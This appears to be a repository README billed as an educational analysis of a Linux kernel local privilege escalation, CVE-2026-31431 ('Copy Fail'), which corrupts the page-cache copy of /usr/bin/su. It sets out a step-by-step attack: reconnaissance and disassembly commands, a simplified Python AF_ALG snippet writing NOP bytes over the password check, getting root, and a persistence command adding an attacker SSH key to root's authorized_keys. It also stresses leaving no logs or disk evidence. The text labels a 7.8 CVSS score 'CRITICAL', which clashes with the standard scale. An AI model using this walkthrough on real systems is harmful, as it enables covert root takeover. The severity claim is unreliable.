
Detailed analysis of the Copy Fail vulnerability (CVE-2026-31431) in the Linux kernel, including memory corruption mechanism, privilege escalation flow, and security impact.
Educational analysis of the Copy Fail vulnerability in the Linux kernel.
Covers the memory corruption mechanism, privilege escalation flow, container escape, and defensive countermeasures.
This repository is for educational and research purposes only.
Do not use this information on systems you do not own or have explicit written permission to test.
All code snippets and commands are provided strictly to aid understanding of Linux kernel internals.
CVE-2026-31431, also known as Copy Fail, is a Linux kernel vulnerability where an unprivileged local user can escalate to root without any special permissions.
The attack operates entirely in RAM. The disk file is never touched — meaning file hashes stay clean, timestamps are unchanged, and audit logs record nothing. When the system reboots, all evidence disappears.
Normal user → exploit algif_aead bug → overwrite page cache → root
Key properties:
| Field | Value |
|---|---|
| CVE ID | CVE-2026-31431 |
| Common Name | Copy Fail / algif_aead Page Cache Corruption |
| CVSS v3.1 Score | 7.8 — CRITICAL |
| Attack Type | Local Privilege Escalation (LPE) |
| Affected Kernel Versions | Linux 5.10 through 6.8 (approx.) |
| Vulnerable Component | crypto/algif_aead.c — AF_ALG socket interface |
| Exploitation Reliability | HIGH — No race condition required |
| Disk Evidence | NONE — RAM-only modification |
| Container Impact | YES — Host escape via shared page cache |
| Patch Status | Available (upstream kernel patch released) |
/usr/bin/su — The Target Binarysu (Switch User) allows a user to switch to another account — typically root. It is a SetUID binary:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = SetUID flag
The s flag means: when any user runs this binary, it executes with root's permissions. This makes it a high-value target.
Its internal logic (simplified):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
The attack goal: skip the password_correct() check entirely.
When Linux reads a file from disk, it keeps a copy in RAM called the page cache.
| Component | Description |
|---|---|
| Disk | Original file on disk (the library shelf) |
| Page Cache | RAM copy of the file (the photocopy on your desk) |
| CPU | Reads and executes from the page cache — fast |
| Attacker | Modifies the RAM copy; disk stays untouched |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← this is the page cache
| Type | Security |
|---|---|
| Safe Buffer — kernel-allocated, size and boundary controlled | ✅ OK |
| Page Cache — file-backed RAM copy, shared, executable | ⚠️ DANGEROUS if written to |
| Wrong Pointer — bug-caused address pointing anywhere | 🔴 CRITICAL |
AF_ALG (Algorithm Family) is a Linux socket interface that lets user-space programs use kernel crypto functions (AES, SHA, AEAD).
socket(AF_ALG, SOCK_SEQPACKET, 0); // open a crypto socket
algif_aead is the kernel module handling AEAD encryption (e.g. AES-GCM) through AF_ALG. The vulnerability lives in its data copy step.
AF_ALG → algif_aead → AES-GCM engine → output buffer
↑
BUG IS HERE
The bug is not in the encryption logic. It is in memory handling — the wrong memory region is selected during a data copy.
destination = safe_output_buffer; // correct location
memcpy(destination, user_data, size); // data safely written
destination = buffer + WRONG_OFFSET; // BUG: wrong pointer!
memcpy(destination, user_data, size); // data lands in page cache
The kernel was supposed to write to the safe output buffer. Due to a miscalculated offset, it writes to the page cache — which holds the RAM copy of /usr/bin/su.
The binary contains x86-64 machine code. The attacker targets the conditional jump that triggers auth failure:
Before attack:
cmp eax, 0 ; check return value
jne 0x1234 ; if fail → jump to deny
call give_root ; grant root
After attack (2 bytes changed in RAM):
cmp eax, 0 ; same
90 90 ; NOP NOP ← jump replaced, check skipped!
call give_root ; CPU lands here directly
NOP = No Operation. The CPU does nothing and moves forward — skipping the authentication check entirely.
"I only need a normal user account. The kernel will make the mistake itself.
Disk stays clean. No logs. Works every time."
whoami && id
# uid=1000(user) gid=1000(user) ← normal user
uname -r
# 6.1.0-generic ← within vulnerable range
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID confirmed
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"
cat /usr/bin/su > /dev/null
# /usr/bin/su is now loaded into page cache ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
Looking for: the auth function address, the jne/jnz conditional jump, and its exact byte offset.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — replaces the conditional jump
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# Kernel internally (simplified):
destination = buffer + crafted_offset # BUG: wrong pointer
memcpy(destination, payload, 2) # NOP bytes written into page cache
# /usr/bin/su's password check is now NOP NOP in RAM
su
# Password: (anything — or just press Enter)
# root@victim:/# ← ROOT OBTAINED
What happened: System executed /usr/bin/su from RAM. The password check was NOP. CPU skipped it. give_root() was called directly.
echo 'attacker_public_key' >> /root/.ssh/authorized_keys